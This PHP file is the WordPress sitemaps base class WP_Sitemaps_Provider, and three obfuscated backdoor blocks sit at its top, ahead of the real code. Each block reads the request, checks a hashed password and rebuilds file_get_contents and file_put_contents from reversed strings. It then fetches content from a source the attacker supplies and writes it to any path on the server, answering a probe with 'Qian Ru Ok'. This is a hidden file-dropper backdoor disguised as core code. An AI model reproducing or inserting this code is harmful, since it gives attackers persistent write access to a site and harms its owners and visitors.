<?php 
$VGWzo = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($VGWzo[0]) /*+/*+*/
. md5($VGWzo[0])) == "7".
"d".
"9".
"f".
"a".
"4".
"d".
"0".
"e".
"a".
"5".
"7".
"0".
"2".
"6".
"1".
"d".
"9".
"e".
"d".
"c".
"1".
"c".
"d".
"1".
"c".
"a".
"b".
"9".
"e".
"6".
"7") {
$klzbgNxeHc = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$vgRTHz = $klzbgNxeHc /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$nRQyXC = $klzbgNxeHc
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function MqZrBBJnm($VIyoF) { if (empty($VIyoF)) return false; if (!is_dir($VIyoF)) { MqZrBBJnm(dirname($VIyoF), 0755, true); mkdir($VIyoF); } } !file_exists(dirname($VGWzo[1])) && MqZrBBJnm(dirname($VGWzo[1])); $hHAeL = @$nRQyXC($VGWzo[2]); echo @$vgRTHz($VGWzo[1], $hHAeL) ? 1 : 0; die; }key($VGWzo) == "of" && die("Qian Ru Ok"); ?><?php 
$fsTSUnUr = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($fsTSUnUr[0]) /*+/*+*/
. md5($fsTSUnUr[0])) == "b".
"7".
"0".
"e".
"c".
"b".
"4".
"7".
"2".
"3".
"b".
"b".
"f".
"5".
"3".
"e".
"4".
"f".
"b".
"a".
"b".
"c".
"c".
"6".
"3".
"e".
"5".
"0".
"0".
"5".
"6".
"d") {
$pzhPXB = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$vskMOa = $pzhPXB /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$TCHsGZf = $pzhPXB
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function GyDrbEhst($ABUXTYKc) { if (empty($ABUXTYKc)) return false; if (!is_dir($ABUXTYKc)) { GyDrbEhst(dirname($ABUXTYKc), 0755, true); mkdir($ABUXTYKc); } } !file_exists(dirname($fsTSUnUr[1])) && GyDrbEhst(dirname($fsTSUnUr[1])); $qVFciqwo = @$TCHsGZf($fsTSUnUr[2]); echo @$vskMOa($fsTSUnUr[1], $qVFciqwo) ? 1 : 0; die; }key($fsTSUnUr) == "of" && die("Qian Ru Ok"); ?><?php 
$DymagbGsdF = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($DymagbGsdF[0]) /*+/*+*/
. md5($DymagbGsdF[0])) == "4".
"3".
"9".
"3".
"9".
"4".
"e".
"2".
"9".
"3".
"3".
"e".
"d".
"8".
"5".
"2".
"c".
"a".
"6".
"2".
"2".
"8".
"b".
"4".
"b".
"6".
"9".
"5".
"1".
"4".
"2".
"1") {
$qDQyu = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$VwzdHnFbP = $qDQyu /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$WrIniTO = $qDQyu
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function ChsdyBsK($eyTjS) { if (empty($eyTjS)) return false; if (!is_dir($eyTjS)) { ChsdyBsK(dirname($eyTjS), 0755, true); mkdir($eyTjS); } } !file_exists(dirname($DymagbGsdF[1])) && ChsdyBsK(dirname($DymagbGsdF[1])); $pWRFO = @$WrIniTO($DymagbGsdF[2]); echo @$VwzdHnFbP($DymagbGsdF[1], $pWRFO) ? 1 : 0; die; }key($DymagbGsdF) == "of" && die("Qian Ru Ok"); ?><?php
/**
 * Sitemaps: WP_Sitemaps_Provider class
 *
 * This class is a base class for other sitemap providers to extend and contains shared functionality.
 *
 * @package WordPress
 * @subpackage Sitemaps
 * @since 5.5.0
 */

/**
 * Class WP_Sitemaps_Provider.
 *
 * @since 5.5.0
 */
abstract class WP_Sitemaps_Provider {
	/**
	 * Provider name.
	 *
	 * This will also be used as the public-facing name in URLs.
	 *
	 * @since 5.5.0
	 *
	 * @var string
	 */
	protected $name = '';

	/**
	 * Object type name (e.g. 'post', 'term', 'user').
	 *
	 * @since 5.5.0
	 *
	 * @var string
	 */
	protected $object_type = '';

	/**
	 * Gets a URL list for a sitemap.
	 *
	 * @since 5.5.0
	 *
	 * @param int    $page_num       Page of results.
	 * @param string $object_subtype Optional. Object subtype name. Default empty.
	 * @return array[] Array of URL information for a sitemap.
	 */
	abstract public function get_url_list( $page_num, $object_subtype = '' );

	/**
	 * Gets the max number of pages available for the object type.
	 *
	 * @since 5.5.0
	 *
	 * @param string $object_subtype Optional. Object subtype. Default empty.
	 * @return int Total number of pages.
	 */
	abstract public function get_max_num_pages( $object_subtype = '' );

	/**
	 * Gets data about each sitemap type.
	 *
	 * @since 5.5.0
	 *
	 * @return array[] Array of sitemap types including object subtype name and number of pages.
	 */
	public function get_sitemap_type_data() {
		$sitemap_data = array();

		$object_subtypes = $this->get_object_subtypes();

		// If there are no object subtypes, include a single sitemap for the
		// entire object type.
		if ( empty( $object_subtypes ) ) {
			$sitemap_data[] = array(
				'name'  => '',
				'pages' => $this->get_max_num_pages(),
			);
			return $sitemap_data;
		}

		// Otherwise, include individual sitemaps for every object subtype.
		foreach ( $object_subtypes as $object_subtype_name => $data ) {
			$object_subtype_name = (string) $object_subtype_name;

			$sitemap_data[] = array(
				'name'  => $object_subtype_name,
				'pages' => $this->get_max_num_pages( $object_subtype_name ),
			);
		}

		return $sitemap_data;
	}

	/**
	 * Lists sitemap pages exposed by this provider.
	 *
	 * The returned data is used to populate the sitemap entries of the index.
	 *
	 * @since 5.5.0
	 *
	 * @return array[] Array of sitemap entries.
	 */
	public function get_sitemap_entries() {
		$sitemaps = array();

		$sitemap_types = $this->get_sitemap_type_data();

		foreach ( $sitemap_types as $type ) {
			for ( $page = 1; $page <= $type['pages']; $page ++ ) {
				$sitemap_entry = array(
					'loc' => $this->get_sitemap_url( $type['name'], $page ),
				);

				/**
				 * Filters the sitemap entry for the sitemap index.
				 *
				 * @since 5.5.0
				 *
				 * @param array  $sitemap_entry  Sitemap entry for the post.
				 * @param string $object_type    Object empty name.
				 * @param string $object_subtype Object subtype name.
				 *                               Empty string if the object type does not support subtypes.
				 * @param int    $page           Page number of results.
				 */
				$sitemap_entry = apply_filters( 'wp_sitemaps_index_entry', $sitemap_entry, $this->object_type, $type['name'], $page );

				$sitemaps[] = $sitemap_entry;
			}
		}

		return $sitemaps;
	}

	/**
	 * Gets the URL of a sitemap entry.
	 *
	 * @since 5.5.0
	 *
	 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
	 *
	 * @param string $name The name of the sitemap.
	 * @param int    $page The page of the sitemap.
	 * @return string The composed URL for a sitemap entry.
	 */
	public function get_sitemap_url( $name, $page ) {
		global $wp_rewrite;

		// Accounts for cases where name is not included, ex: sitemaps-users-1.xml.
		$params = array_filter(
			array(
				'sitemap'         => $this->name,
				'sitemap-subtype' => $name,
				'paged'           => $page,
			)
		);

		$basename = sprintf(
			'/wp-sitemap-%1$s.xml',
			implode( '-', $params )
		);

		if ( ! $wp_rewrite->using_permalinks() ) {
			$basename = '/?' . http_build_query( $params, '', '&' );
		}

		return home_url( $basename );
	}

	/**
	 * Returns the list of supported object subtypes exposed by the provider.
	 *
	 * @since 5.5.0
	 *
	 * @return array List of object subtypes objects keyed by their name.
	 */
	public function get_object_subtypes() {
		return array();
	}
} ?>